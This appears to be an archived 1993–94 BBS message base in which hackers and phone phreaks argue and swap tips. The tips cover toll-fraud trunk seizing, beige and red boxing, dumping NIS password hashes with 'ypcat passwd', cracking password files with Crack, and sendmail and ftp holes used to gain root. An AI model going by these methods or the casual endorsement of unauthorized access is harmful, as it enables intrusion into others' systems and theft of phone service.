Comments on the Meridian SL-1 article? Should I have wasted it on Phrack?
|
|
Alot of people think not.
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|
iceman
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|
iceman@mindvox.phantom.com
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From schief@yabbs Sat Nov 27 11:53:05 1993
|
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From: schief@yabbs
|
|
To: horus@yabbs
|
|
Subject: re: phrack 44
|
|
Date: Sat Nov 27 11:53:05 1993
|
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|
|
yep, i found it... :-)
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From johndeer@yabbs Mon Nov 29 18:24:00 1993
|
|
From: johndeer@yabbs
|
|
To: all@yabbs
|
|
Subject: stuff
|
|
Date: Mon Nov 29 18:24:00 1993
|
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|
|
jmac:
|
|
there's some good t-fi;les on hp-3000, check them out.. i have a feeling
|
|
that system is fairly closed though..
|
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telephony people:
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|
|
my friend in UK has been able to seize a trunk in hawaii. to tial any US
|
|
number, he just dials AC and the number (no 1 before the AC). but it
|
|
won't let him connect ot 800's, or international dial.. i think he's on an
|
|
ESS switch..
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he dials B12+ AC and number + C
|
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anyone konw how to get international on this? he's tried 011+country
|
|
code, and jsut country code, and even tried routing it with 10xxx does,
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but to no avail.. can anyone help out?
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johnDeere
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From DINO@yabbs Wed Dec 1 17:28:37 1993
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From: DINO@yabbs
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To: all@yabbs
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Subject: Menu Driven unix
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Date: Wed Dec 1 17:28:37 1993
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I was wondering if anyone had any suggestion to bypassing as menu program
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for a unix host? I need to ypcat the shadowed passd file? not looking to
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leech info just looking for suggestions? thanks!
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From rramone@yabbs Thu Dec 2 04:04:30 1993
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From: rramone@yabbs
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To: all@yabbs
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Subject: Beige Box
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Date: Thu Dec 2 04:04:30 1993
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While inspecting a friend's outside phone box today, I discovered that
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his is not like mine (ok, duh, I know). Mine is a box that is made
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by the Telco, and it merely slips off, exposing a set of posts and
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wires. However, when I opened his, which appeared to be a commercial
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model, I discovered two posts, but also a modular jack! We then
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ventured to his neighbor's, where the same set up existed. Also, the
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box had another section labelled "Telco Access" and required a spec
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ial key to unscrew it. Is this common, or is it just common in newer
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subdivisions? I did not even need to use my beige box, I just plugged
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right in with a regular phone. I have not seen this before, but then
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I haven't been real observant either.
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rramone
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From cosmos@yabbs Thu Dec 2 06:37:49 1993
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From: cosmos@yabbs
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To: rramone@yabbs
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Subject: re: Beige Box
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Date: Thu Dec 2 06:37:49 1993
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Yes, it seems to be more common. In my area we still run off the green
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monsters....(the huge green boxes filled with line cabling)...but many
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newer areas and some older ones now have the jacks...
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AT&T thought that beige boxing was too hard so they made it easier for all
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the kiddies to rip them off even more...
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Cosmos
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From cosmos@yabbs Thu Dec 2 06:41:52 1993
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From: cosmos@yabbs
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To: all@yabbs
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Subject: Cosmos 3l33t VMB
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Date: Thu Dec 2 06:41:52 1993
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Well all, if one has a desire or need to contact me outside this BBS, you
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can call my new VMB. Leave anything you want, but the first person I
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catch leaving codes is gonna get it(I am talking about calling cards,
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visa, mastercard, etc...), and please leave something if you call...no
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hang ups.
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Cosmos VMB: 1-800-998-KRAD (yes, I am serious here)
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I am box number COS1
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after you are greeted with the "welcome to..." crap, hit the * key and
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then type my box number.
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Cosmos
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From LordGraf@yabbs Thu Dec 2 11:16:46 1993
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From: LordGraf@yabbs
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To: iceman@yabbs
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Subject: re: SL-1
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Date: Thu Dec 2 11:16:46 1993
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I though it was pretty good my school uses a meridian system so it helps
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alot.
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LordGrafx
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From deprogra@yabbs Thu Dec 2 15:52:15 1993
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From: deprogra@yabbs
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To: cosmos@yabbs
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Subject: re: Cosmos 3l33t VMB
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Date: Thu Dec 2 15:52:15 1993
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Cosmos, your posts fall into some clearly defined categories:
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1) "The old days are over, and they will never return. Over, never return,
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got that?! Give up!! I did it all, and I did it better, so how dare you
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act as if hacking exists in the here and now instead of where we all know
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it exists, the past of my life. Stop that this instant
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!" (End fictitious quote)
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There are lots of people red boxing and even blue boxing, today. Of course
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these are nothing like the old days. In the old days companies like Sprint
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were in their infancy, and there was nothing like internet. Now there are
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new things to hack and new ways to hack them. And the old ways.
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2) "If you would just go bacck and read the original posts, then you would
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know what I was talking about."
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I've been keeping up with this base for quite a while now and have read
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every message on it.
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3) "Stop talking about that, you're going to get us all in trouble!! And
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get htoaster's computer seized!"
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It's htoaster's board, and what he allows on it is his business and his
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alone. He's taking the risks here and it's up to him to tell people what
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not to talk about. Periodically, he does this. Futhermore, notice all
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these [this message marked for deletion] messages? Refer to #2.
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4) "Have you seen my article in Phrack? Phrack is great, you should all
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read it. Whaddaya think, huh, whaddaya think? It's awful large, but tou
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should all get it and read my article. I write for Phrack, therefore I am
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hot shit."
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Yes, I do read Phrack, and I'll get around to your article, but Phrack is
|
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too large and too boring and not very useful. The articles on operating
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systems have much more information than I need, and they appear to be
|
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taken straight out of a manual. They should have hung it up at
|
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#32 at the latest. Many phreaks argue that it is not really Phrack
|
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anymore, that's why #32 was Phrack Classic.
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5) "Intruder is a lame warez d00d who can't write or spell"
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Intruder is struggling to speak English, a foreign language to him! He may
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appear to be a 14 year old but he is not, don't be such an Anglophone
|
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bigot! We have users telnetting in from Europe and Argentina, I think that
|
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is COOL. Do you disagree with that?!
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6) "ANI is the same as Caller ID, for you newbies"
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Okay, seriously, you must have been oversimplifying. You just gotta know
|
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better than that. ANI is used by operators and by 800 numbers to
|
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determine the calling number, like when you get a collect call. CLID is
|
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sent by the switch to the customer in areas where it's available. CLID is
|
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a product they're trying to sell.
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7) "3l33t VMB: 1800-998-KRAD"
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After all your bitching about WaReZ D00dZ you do this...
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\
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I hate to add to the flame fest here, but cosmos's worthless egotistical
|
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rigamarole has already sent this message base to pot. Next he'll be
|
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telling us not to talk about dialouts, i suppose.
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Eat shit, cosmos.
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From Keman@yabbs Thu Dec 2 16:25:36 1993
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From: Keman@yabbs
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To: deprogra@yabbs
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Subject: re: Cosmos 3l33t VMB
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Date: Thu Dec 2 16:25:36 1993
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Someone who actually has intelligence?? it can't be....
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Grin, I agree with you 100 %
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From xenon@yabbs Thu Dec 2 16:38:14 1993
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From: xenon@yabbs
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To: rramone@yabbs
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Subject: re: Beige Box
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Date: Thu Dec 2 16:38:14 1993
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ummm...those type o boxes have been around this area fer quite a while...
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all thats inside that area ya need a special screwdriver, (i think i used
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my swiss army knife), is da wires coming in from da switchin box and da
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wires goin out ta whatcha see in the other half o the box. sum telco
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people will sign da inside of the box a special way...best one ive seen is
|
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a drawin of woody-woodpecker....
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--> Xenon
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From horus@yabbs Thu Dec 2 16:45:15 1993
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From: horus@yabbs
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To: deprogra@yabbs
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Subject: re: Cosmos 3l33t VMB
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Date: Thu Dec 2 16:45:15 1993
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Bravo, I agree. There are no Good Old Days, just a bunch of burnt out
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lamers, that plariarize manuals, Cosmos why don't you do something worth
|
|
while like a How-To. Anyway there are alot more exciting things in HP than
|
|
there ewere in the 70/80's , going on right now
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From cosmos@yabbs Thu Dec 2 19:36:47 1993
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From: cosmos@yabbs
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To: deprogra@yabbs
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Subject: re: Cosmos 3l33t VMB
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|
Date: Thu Dec 2 19:36:47 1993
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Ohhh...flamed. When did I denounce red boxing as dead? I dont recall it,
|
|
shit I use mine daily. Blue Boxing, out of country is still possible and
|
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if you live in hicksville on an old baby bell mechanical switch maybe.
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Actually, you need to perhaps look for something in English called
|
|
sarcasm, I think you will find it in my posts. As for intruder, I could
|
|
give a shit less whether he speaks english or not, he still misses the
|
|
point entirely. And 32 still sucked...24-26 were the last good ones.
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Thank you for your long, politically correct, insightful flame.
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|
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Back to your hole now.
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Cosmos
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From cosmos@yabbs Thu Dec 2 19:39:39 1993
|
|
From: cosmos@yabbs
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To: horus@yabbs
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|
Subject: re: Cosmos 3l33t VMB
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|
Date: Thu Dec 2 19:39:39 1993
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I got one coming up, its entitled, "How-To Join the Flame Bandwagon and
|
|
Sound Like I am Cool." Depovera or whatever his handle is at least layed
|
|
out the knowledge in his flame, you, there is no hope. Go kiss ass
|
|
somewhere else.
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Cosmos
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From pyro@yabbs Fri Dec 3 01:50:39 1993
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|
From: pyro@yabbs
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|
To: cosmos@yabbs
|
|
Subject: re: Cosmos 3l33t VMB
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|
Date: Fri Dec 3 01:50:39 1993
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Hehehe...
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|
Lets face it Cosmos, we are right and they are wrong. Their jealousy just
|
|
forces them to try and have the balls out fun we used to have in the early
|
|
80's. Jealous I say, jealous.
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Its very simple. Really.
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-TP
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From cosmos@yabbs Fri Dec 3 05:15:36 1993
|
|
From: cosmos@yabbs
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|
To: pyro@yabbs
|
|
Subject: re: Cosmos 3l33t VMB
|
|
Date: Fri Dec 3 05:15:36 1993
|
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|
Yeah, I should say so.
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The New Hacker:
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Cosmos
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From pegasus@yabbs Fri Dec 3 10:55:05 1993
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|
From: pegasus@yabbs
|
|
To: all@yabbs
|
|
Subject: Phalcom/skism
|
|
Date: Fri Dec 3 10:55:05 1993
|
|
|
|
From someplace i got this text:
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If you likethis stuff contact The Phalcon/Skism Internet site for more
|
|
info.
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|
Does anyone know whre theis i-net site is?
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|
-Pegasus
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From Cagim@yabbs Fri Dec 3 13:41:40 1993
|
|
From: Cagim@yabbs
|
|
To: pegasus@yabbs
|
|
Subject: re: 40hex
|
|
Date: Fri Dec 3 13:41:40 1993
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|
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|
Sheeesh!
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|
IP= bongo.cc.utexas.edu
|
|
under /pub/mccoy/computer-underground
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Cagim
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From K0der@yabbs Fri Dec 3 14:25:51 1993
|
|
From: K0der@yabbs
|
|
To: deprogra@yabbs
|
|
Subject: Lamer
|
|
Date: Fri Dec 3 14:25:51 1993
|
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|
You are pathetic deprogra, you do not know which end is up...I'll bet you
|
|
spent the whole time reading the thread to figure out how to write that
|
|
post and sound like you know something. You eat shit, moron. I speak
|
|
for myself and many other people who share Cosmos and Pyros line of
|
|
hacking philosophy: Learn from yourself, do not expect it on a platter..
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|
As for you horus, you are plain worthless. You wouldnt recognize a hack
|
|
if it came up and bit your lame ass.
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From deprogra@yabbs Fri Dec 3 17:11:56 1993
|
|
From: deprogra@yabbs
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|
To: K0der@yabbs
|
|
Subject: re: Lamer
|
|
Date: Fri Dec 3 17:11:56 1993
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|
Okay, fine, so we hack because we are jealous. It would be cool if you
|
|
could still turn on auto hacker, leave it running all day and come home to
|
|
a printout of codes. No, honest, I'm sure the old days were great. Pardon
|
|
me for not giving up and waxing nostalgic about history. Scuze me for not
|
|
staring in awe at people like you.
|
|
|
|
I obviously flamed cosmos with both barrels, saying while I did so
|
|
that I hate to add to the already copius flamage around here. Notice how
|
|
this debate is detracting from any constructive discussion around here? If
|
|
you think a question is stupid, ignore it, see if someone else lowers
|
|
themselves to respond... The attitude around here has turned into a
|
|
squelching of discourse.
|
|
|
|
Is Phrack zipped with PKZIP anywhere?
|
|
I think it is usually gnu zip, right?
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Deprogram
|
|
[That is my handle, it is 1 character too long to be a username here.]
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From abort@yabbs Fri Dec 3 18:28:30 1993
|
|
From: abort@yabbs
|
|
To: K0der@yabbs
|
|
Subject: re: Lamer
|
|
Date: Fri Dec 3 18:28:30 1993
|
|
|
|
Who is the guy wasting his time replying like I am to such stoopid
|
|
splooge? JK0der you are a loser if you believe that raggin on newbies
|
|
will make you hackG0D of yabbs, which is on the same campus as CERT is
|
|
centered. Yep jus K-rad you are. I dont care hold old time you or Cosmos
|
|
is unless you have soul you dont mean shit too me. I dont mean "soul" as
|
|
in souls-food but I mean actuall action not speaking about how old timer
|
|
you are and jus how K-rad the ole days wee. Drop the WaReZ D00D attitude
|
|
and get with reality. Do you reallythink that your hacking is gonna have
|
|
a affect on the way American Govt monopolizes info, or the way media
|
|
controls society thru info. I think not man. So grow up and cathc the
|
|
next boat to reality. There is no such thing as a ole-timer anymore, its
|
|
hacker, or hacker, not newbie, oldster. Hell why dont you put your
|
|
illusive talents to use and see if you can track my account down and send
|
|
me email, I bet you cant even do that.
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From Maedhros@yabbs Fri Dec 3 20:00:07 1993
|
|
From: Maedhros@yabbs
|
|
To: all@yabbs
|
|
Subject: re: Lamer
|
|
Date: Fri Dec 3 20:00:07 1993
|
|
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|
Hey guys, get the hell off of abort and deprogra's backs. If you want to
|
|
spout your idealistic dogma come on off this board and into 'anarchy'.
|
|
These people are trying to learn something, it's pretty damn low to talk
|
|
down to someone who's trying to learn. If you want to flame, come on
|
|
over, we live for this kinda shit. But for God's sake, if there is one,
|
|
leave them the hell alone!
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|
Maedhros /\
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/ \
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|
/----\ Alas, if all Rome had
|
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/ \ but one head.
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-Caligula
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From cosmos@yabbs Sat Dec 4 15:19:55 1993
|
|
From: cosmos@yabbs
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|
To: deprogra@yabbs
|
|
Subject: re: Lamer
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|
Date: Sat Dec 4 15:19:55 1993
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|
Enough Deprogram. You have your philosophy, I have mine. Anyways, it is
|
|
pkzipped on ftp.netsys.com...at least 43 and 44 are. The rest are gnu
|
|
compressed.
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Cosmos
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From cosmos@yabbs Sat Dec 4 15:23:41 1993
|
|
From: cosmos@yabbs
|
|
To: abort@yabbs
|
|
Subject: re: Lamer
|
|
Date: Sat Dec 4 15:23:41 1993
|
|
|
|
Um, abort he is not a warez dude like you state. While, I think that
|
|
perhaps my little friend there went way off on a tangent, he is not warez.
|
|
|
|
Anyways, what dope are you smoking?? Where did the government come into
|
|
this flame war?? Who cares about the government, not me. Just ignore em.
|
|
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|
I aint postin no more shit on this topic anymore.
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|
Cosmos
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From cosmos@yabbs Sat Dec 4 15:24:32 1993
|
|
From: cosmos@yabbs
|
|
To: Maedhros@yabbs
|
|
Subject: re: Lamer
|
|
Date: Sat Dec 4 15:24:32 1993
|
|
|
|
Not even worth the time to comment...
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Cosmos
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From phantacc@yabbs Sat Dec 4 15:25:34 1993
|
|
From: phantacc@yabbs
|
|
To: jmac@yabbs
|
|
Subject: re: Hello..
|
|
Date: Sat Dec 4 15:25:34 1993
|
|
|
|
Moron... is an hp-3000 running mpe. Its not a HELLO shell (what the fuck
|
|
would a HELLO shell be anyway!?!?). Get some t-files and read the default
|
|
passwords for an hp-3000.
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From phantacc@yabbs Sat Dec 4 15:27:02 1993
|
|
From: phantacc@yabbs
|
|
To: jmac@yabbs
|
|
Subject: re: stuff
|
|
Date: Sat Dec 4 15:27:02 1993
|
|
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|
oh yeah... BTW hp-3000 are usually ownd by state run facilities.
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From jmac@yabbs Sat Dec 4 17:39:50 1993
|
|
From: jmac@yabbs
|
|
To: phantacc@yabbs
|
|
Subject: re: Hello..
|
|
Date: Sat Dec 4 17:39:50 1993
|
|
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|
What the hell are you whining about now?
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Jesus.
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From horus@yabbs Sat Dec 4 18:18:08 1993
|
|
From: horus@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: whine whine whine
|
|
Date: Sat Dec 4 18:18:08 1993
|
|
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|
You haven't got the slightest idea do you cosmos? I was hacking back when
|
|
you were still in diapers. I went to school with the four guys that came
|
|
up with the Altair 8080 , so drop the Elite shit, your just anothe r
|
|
r0dent to me. You didn't come on the scene until after I had burnt and
|
|
come back to both H&P at least four times and over 15 years. Pyro, you're
|
|
getting just as bad as cosoms. They are at least tten times as many types
|
|
of phreaking, and hundreds of types of hacking today than there were in
|
|
the 80's. Shit I remeber the article in pop electronics abvout blue boxes
|
|
in the 80's than got teenie boopers like you started. IT SAID PHRESKING
|
|
WAS DEAD!
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From abort@yabbs Sat Dec 4 21:44:43 1993
|
|
From: abort@yabbs
|
|
To: all@yabbs
|
|
Subject: now ofr something entirely
|
|
Date: Sat Dec 4 21:44:43 1993
|
|
|
|
Well, now that we got the pleasentries out of the way and all have
|
|
established their place in the pecking order lets go on to something a bit
|
|
more educational.
|
|
Now say you were at a dialup fo rthe local uni. it will let you
|
|
telnet, but only to machines in that "net" as they like to call it. Now i
|
|
have already done fakemail and all that stuff, and even some other shit,
|
|
but I was wondering, say if I got into the nameserver for this place could
|
|
I possibley place a few sites on itthat are outside of its normal area of
|
|
service? I would have annonimity that way, since now I need to use
|
|
borrowed accounts on the local uni machines sometimes to get what I need
|
|
done.
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From EON@yabbs Sun Dec 5 00:32:44 1993
|
|
From: EON@yabbs
|
|
To: Maedhros@yabbs
|
|
Subject: re: Lamer
|
|
Date: Sun Dec 5 00:32:44 1993
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|
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|
I agree with you man Why the hell people flame people who will quite
|
|
possably be a good asset in the h/p society of ours becids we need all the
|
|
people we can get with out new people there are no new idears and with out
|
|
idears what are we ?? People followin a ollowing a strict set of guide
|
|
lines we haver to act like this we have to talk like that but with new
|
|
idears we might just find that a breth of fresh air might appear in the
|
|
h/p scene
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PS . sorry about any typos the lag on this is terible somethink like 2
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|
secs
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From phragger@yabbs Sun Dec 5 09:39:31 1993
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From: phragger@yabbs
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To: Keman@yabbs
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Subject: re: Cosmos 3l33t VMB
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Date: Sun Dec 5 09:39:31 1993
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take this flamewar of yours elsewhere. then eat shit.
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and no. i`m not referring to cosmo.
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get a sense of humor too.
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it might help.
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maybe.
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From cosmos@yabbs Sun Dec 5 15:41:13 1993
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From: cosmos@yabbs
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To: horus@yabbs
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Subject: re: whine whine whine
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Date: Sun Dec 5 15:41:13 1993
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hee hee. Can I have your autograph?
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Cosmos
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From cosmos@yabbs Sun Dec 5 17:29:06 1993
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From: cosmos@yabbs
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To: horus@yabbs
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Subject: re: whine whine whine
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Date: Sun Dec 5 17:29:06 1993
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hee hee, look who's talking now... :)
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I got a hard on just imagining how 3l33t you are...
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Have a nice day.
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Cosmos
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From pyro@yabbs Sun Dec 5 20:39:41 1993
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From: pyro@yabbs
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To: horus@yabbs
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Subject: re: whine whine whine
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Date: Sun Dec 5 20:39:41 1993
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My whole point is simple: I am willing to help people who wish to leran
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something if, and only if, they are up to the challenge of puutting as
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much or more effort in to learning that I am putting in helping. I am not
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going to sit here and tell me exactly how to do things, thats not the
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point. How can anyone expect to learn something by being spoonfed?
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Lets look back. This whole topic started because some stupid, ignorant
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little fools were posting shit about needing accounts and how they could
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easily hack them. I responded with a long post about the problems with
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asking for such idiot information on a public BBS and that hacking
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accounts is tupid and inconsequential compared to real hacking.
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Then a bunch of stupid fucks started babbling about how people like me
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were holding back some stupid ideas of "the old days" of open sharing and
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learning. I am sorry, people who asked such questions back then were
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flamed as they are now.
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Cosmos then joined in with some excellent posts on the differences between
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today and 10 years ago and how stupid little kiddies can think they will
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learn oh so much in 1 week what took many people to learn in many years.
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If anyone honestly thiks they are going to get some real hacking info from
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theis subboard on a large public BBS they are wrong. It will not happen.
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No one in their right mind who knows anything worth knowing is not going
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to go off and explain in detail anything to anyone here. Wait, thats a
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double negative. Sorry. Anyone who knows anything is NOT going to spit
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it out for all the people of the world to read. That is ludicrous.
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Ideas and discussion are great, but for people to sit here and TEACH
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people how to hack is just plain stupid. Thats a fact, deal with it.
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If someone were to ask me a very informed question about somehting they
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have worked on for quite a while I would answer it. But before you aks a
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question people should think to themselves: "Do I know what I am talking
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about? Have I exhausted the resources I have available to me on a
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personal level? Have I read up on this subject? Can I read more? Is my
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question informed enough so that those who would answer it are able to
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withoout getting confused by it?" and may more.
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Hacking is NOT just getting accounts and using a system. It goes way
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beyond that, and anyone who truly likes hacking and takes it seriously
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realizes that it is an intense passion for security and how it works.
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And not just security, but the system in general. Accounts are a dime a
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dozen. Any idiot can get accounts.
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So, all of you people who would wish to know more. When you have a
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uquestion ask yourself this one simple one first: "Have I even tried
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reading some man pages on this subject yet?" If you answer no to that,
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then you really shoud find a new hobby. And the man pages are just the
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first of many places to find information.
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And last of all: BE PATIENT. Nothing comes up and smacks you in the ass.
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You have to spend a lot of time on it. If you really have no tother
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interest in anything in the data world than hacking you really should give
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up now. You need to be informed of the larger data world.
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I could go on for a few hundred more lines, but I won't (I would not want
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to subject you to anymore of my many typos).
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So, remeber, if anyone wishes to ask questions of those who may know the
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answer or provide some insight on where to find the answer please take the
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time and effort to atleast try and solve it yourself or be informed as to
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the nature of the question. Its simple, but its not easy.
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-The Pyro.
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From abort@yabbs Mon Dec 6 14:07:39 1993
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From: abort@yabbs
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To: pyro@yabbs
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Subject: re: whine whine whine
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Date: Mon Dec 6 14:07:39 1993
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Bravo, my sentiments exactly, i flamed you guys at first because i admit I
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only caught the tail end of the ongoing war. So now can we get to some
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stuff besides flames. I mean I can get enough shit like that and
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red-boxes at ISCA whee i usually sit out the boring hours. I am in no way
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saying that I am hck-god or whatever, I have only been going for about
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three or ofur months. I think i have progressed far for my time, but I
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cant help but think ho wfar I havce to go just to satisfy my own curiosity
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about things like connectivity in Inet, and the like.
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I have a few friends, who i hope sont read this, who say they are into
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hacking. BUT it seems all they do is ask questions and borow my books. I
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spent most of the last four months online, close to 53% of my time would
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be a reasonable estimate. Yeha it seems a bit high but i can t help
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myself.
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. Here is a ton more shit than cracking accounts, as a matter o fact any
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newbie who knows how to compile and run a program on UNIX can do it. The
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real fun is in getting accounts not by cracking pwords, but by going thru
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holes, like the sendmail one a while ago was good(no it does not work now
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so dont ask me about it) as well as neato tricks with menu systems and
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gopher servers..
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If you read ISCA Undeground room(comedy central really) you will see my
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name in the room info as one to start people in the right direction for
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learning. I have it easy I just have a macro set up that bombarsds there
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mail with about 20 lines of "READ READ READ READ" and then a list of
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sites to look
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From cosmos@yabbs Mon Dec 6 14:20:00 1993
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From: cosmos@yabbs
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To: abort@yabbs
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Subject: re: whine whine whine
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Date: Mon Dec 6 14:20:00 1993
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Sigh....
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Pyro, perfectly stated.
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abort, I fail too see why you intensely flamed pyro and me during the
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latest bandwagon if you did not read the whole thread. That is what is
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termed lame. Anyways, your analysis of "the sendmail bug does not work
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anymore" is ludicrous and outright false. Shit, I just performed it this
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morning on my own site. The only way the sendmail bugs do not work is if
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the admins are smart enough to a) patch their binaries or b) install the
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latest version.
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I would estimate that a vast quantity of sendmail servers are still loaded
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with the bug(s). On another note, I also found some sites with the
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infamous quote cwd ~root bug in ftp today. If you know what you are doing
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you will recognize that one. Needless to say, that one is a bit more rare
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to find. :)
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Cosmos
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From BattleAn@yabbs Mon Dec 6 15:01:38 1993
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From: BattleAn@yabbs
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To: all@yabbs
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Subject: Hacking.
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Date: Mon Dec 6 15:01:38 1993
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Oki. lets try do talk some hacking here, and cut the flamewaras.
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<asbestos suite off>
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I am currently looking for two things. Source code for a routert.
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And a way to get those shadow pwfiles without super-user axs.
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I'm not talking about any of those lame progs that go around on irc,
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which basically only merge passwd and shadow IF u have root axs.
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Can anyone help me? Source codes, docs, good ideas, bad ideas....
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Battle Angel.
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P.S. Norwegian hack scene rulz. Most ppl on the net. -)
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From abort@yabbs Mon Dec 6 15:11:11 1993
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From: abort@yabbs
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To: BattleAn@yabbs
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Subject: re: Hacking.
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Date: Mon Dec 6 15:11:11 1993
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I dont know if this will help but ypcat command has helped me a few times
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on sites around here that had no passwd per se in the passwd feild of
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concatenize the entries in a certain datafielld or base
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lay with ypcat and it may help you out.
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From abort@yabbs Mon Dec 6 15:23:00 1993
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From: abort@yabbs
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To: all@yabbs
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Subject: re: Hacking.
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Date: Mon Dec 6 15:23:00 1993
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OK sorry for second message but I manned ypcat, ypmatch, ypfile and came
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up with this. First the yp stands for yellow pages. This is a map or set
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of nicknames for databases that are use throughout a network. It hs to do
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with NIS dta bases. Basically you ypcat a nicknamed data base to cat it.
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The actuall passwds are in passwd.byname but ypcat passwd does just fine.
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The rest is up to you to figrue out.
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From HCELINE@yabbs Wed Jan 12 03:08:12 1994
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From: HCELINE@yabbs
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To: all@yabbs
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Subject: Shadowd PW files:
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Date: Wed Jan 12 03:08:12 1994
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OKay, first off, I'm new here, But forget introductions. There has
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recently been alot of talk about Shadowd Password files, on multiple nets
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I'm on. Personally, I have never been on a systems with one. Of course, I
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spend most of my time on VAX, and DEC Servers, with a touch of AMOS thrown
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in. Can someone throw down info on the Shadowed Password file, such as the
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differences between SPWF (Shadowed Password Files) and the common ones
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found in etc/pw. I am clueless when it comes to most inner working of
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unix, so the help would be appriciated. If anyone needs help with VAX, I'm
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perfectly willing to help.
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Hagbard Celine
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[ELF]
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From Spara@yabbs Wed Jan 12 23:25:04 1994
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From: Spara@yabbs
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To: HCELINE@yabbs
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Subject: re: Shadowd PW files:
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Date: Wed Jan 12 23:25:04 1994
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I'm not that educated in VAX/VMS myself. Generally, what kind of security
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problems does VMS have? Default accounts and little tricks.
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From Nomad@yabbs Sat Jan 15 14:17:08 1994
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From: Nomad@yabbs
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To: all@yabbs
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Subject: VAX/VMS
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Date: Sat Jan 15 14:17:08 1994
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I really don't know much about VAX/VMS except for some limited DCL
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programming and certain system admin. programs (authorize, ncp, etc) but I
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have access to some very important machines that are running VAX/VMS and I
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would like to know how to get the most out of each system. Under unix it
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is rather simple but VMS appears to be a different story altogher. Maybe I
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am wrong. What should I look for on VMS Systems? Do ppl still write
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patches for them? Do VMS hackers go thru the work of learning MACRO-32?
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What about encrypt/compare for sysuaf.dat? What about patches for set
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host, etc? Any help would be greatly appreciated. I am looking for someone
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with a good deal of experience with VMS that I can share these findings
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with in return for information and findings on the system. Anyone filling
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the bill leave me mail with you e-mail address....
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No flames please, I am a big boy now. Flaming is lame.
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Nomad
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From Alvin@yabbs Sat Jan 15 21:46:19 1994
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From: Alvin@yabbs
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To: all@yabbs
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Subject: <no title>
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Date: Sat Jan 15 21:46:19 1994
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Does anyone have CrackerJack 1.5?
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From tknight@yabbs Sun Jan 16 17:16:14 1994
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From: tknight@yabbs
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To: HCELINE@yabbs
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Subject: hey man...
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Date: Sun Jan 16 17:16:14 1994
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Hey hagbard,its Tobias.
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Tobias Knight
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[ELF]
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From Fastjack@yabbs Mon Jan 17 07:05:21 1994
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From: Fastjack@yabbs
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To: HCELINE@yabbs
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Subject: re: Shadowd PW files:
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Date: Mon Jan 17 07:05:21 1994
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Hello Hagbard...
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Here's a little bit of info about Shadowed password files. I am most
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familiar with the SunOS implementation, but I have examined (ie tried to
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hack) others on Ultrix and SVR4. In a non-shadowed passwd file, the
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passwords are the encrypted strings in the second entry of each line:
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mylogin:Rh62jpr4:0:something:something.etc:you-get-the-idea:more:csh
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or thereabouts. As has been pointed out, it is generally
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impossible/impractacle to decrypt the encrypted strings, but programs to
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encipher dictionary entries and then compare them to the encrypted strings
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can get 10-30% of the passwords (this is highly variable; depends on the
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difficulty of the passwords and also the time you spend cracking-- it
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isn't practical to spend an extra 12 hours to get an extra handful).
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Everyone has read access to the /etc/passwd file; you can see the obvious
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security hole here. The shadowed password file is an additional file
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containign the real passwords that can't be read...the original passwd
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file has something else substituted in the place of the encrypted
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password.
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mylogin:##mylogin:1234:something:somethingelse.......
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on SunOS, where the real encrypted string would be hidden in
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mylogin:*:1234:somemorestuffthatsactuallyimportantifyoulook:.....
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AT&T SVR4 has the passwords in /etc/shadow; hence 'shadowed passwords'.
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Figuring out how to read the file is the real trick....
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Yes, I know that mylogin is root in the first example...
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Fastjack
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From mephisto@yabbs Tue Jan 18 23:12:14 1994
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From: mephisto@yabbs
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To: Fastjack@yabbs
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Subject: re: Shadowd PW files:
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Date: Tue Jan 18 23:12:14 1994
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What does an 'x' in the password field of a passwd file mean? Normal
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accounts have visible passwords, but some (i.e. uucp, daemon, etc) have
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an 'x' in the password field... are these passwords shadowed?
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From htoaster@yabbs Tue Jan 18 23:44:14 1994
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From: htoaster@yabbs
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To: mephisto@yabbs
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Subject: re: Shadowd PW files:
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Date: Tue Jan 18 23:44:14 1994
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In message re: Shadowd PW files:, mephisto said:
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> What does an 'x' in the password field of a passwd file mean? Normal
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> accounts have visible passwords, but some (i.e. uucp, daemon, etc) have
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> an 'x' in the password field... are these passwords shadowed?
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It just means that it is an invalid login. The crypt() function encrypts
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to 13 characters, no matter what the input is, so it could never evaluate
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as equal to a one character string.
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htoaster
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From MI-5@yabbs Thu Jan 20 14:33:02 1994
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From: MI-5@yabbs
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To: all@yabbs
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Subject: PW cracker
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Date: Thu Jan 20 14:33:02 1994
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Does anyone know where I can get ahold of a good PW cracker that compares
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the unix pw file to a dictionary. I would like a Mac version but any will
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do. Thanks for your help.
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From Fastjack@yabbs Sat Jan 22 15:03:49 1994
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From: Fastjack@yabbs
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To: MI-5@yabbs
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Subject: re: PW cracker
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Date: Sat Jan 22 15:03:49 1994
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Ok....
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Archie for Crack; the latest version is 4.1, I think. It is for Unix,
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and has a number of useful options. Very interesting; it can run across a
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number of networked machines of different types, also it can set itself up
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automatically when you get the archive file. I don't know of any versions
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for Macs, who'd want one?
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If you managed to find a site w/o the password file being shadowed,
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I'd like to hear about it. Leave a message here and we'll discuss...
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Fastjack
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From GodEater@yabbs Sat Jan 22 16:33:54 1994
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From: GodEater@yabbs
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To: Fastjack@yabbs
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Subject: Shadowed PW
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Date: Sat Jan 22 16:33:54 1994
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I have found many systems with unshadowed password files. Including U
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of Delaware. On the down side I know a purdue student who got busted for
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cracking roughly 10,000 accounts at that college and a few others. He
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wasn't really careless, somone told on him, not a sysop. The only trouble
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he is in is expulsion for 1 semester.
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From cosmos@yabbs Sat Jan 22 19:35:20 1994
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From: cosmos@yabbs
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To: Fastjack@yabbs
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Subject: re: PW cracker
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Date: Sat Jan 22 19:35:20 1994
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What do you mean managed??? There are shitloads of unshadowed password
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files out there. As for cracking them all just get one and that should be
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enough to grab root on any given machine. If they have an unshadowed pw
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file they can probably be hit with rdist or other goodies...
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Cosmos
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From Fastjack@yabbs Sat Jan 22 21:16:01 1994
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From: Fastjack@yabbs
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To: cosmos@yabbs
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Subject: re: PW cracker
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Date: Sat Jan 22 21:16:01 1994
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cosmos--
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I doubt that cracking a given pw file 'should be enough to grab root
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on any given machine'. At my site, the passwd is shared between a number
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of administrators, but is a very difficult one (see a file on
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password security), ie, no recognizable words, alphanumerics w/ special
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[!@#$%^&}] characters, control codes, etc. But I do appreciate the
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input...
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Fastjack
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From abort@yabbs Sun Jan 23 00:20:00 1994
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From: abort@yabbs
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To: all@yabbs
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Subject: re: PW cracker
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Date: Sun Jan 23 00:20:00 1994
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WEll Fastjack, I dont think cosmos was talking about grabbing the actual
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passwd to the root acount from the unshadoewd pword file. He meant
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hacking it out once in the system. I assume that he meant once your in
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there is usually a way to get root. Like playing with suid programs, and
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general mayhem you can get done with any account really. Once you get an
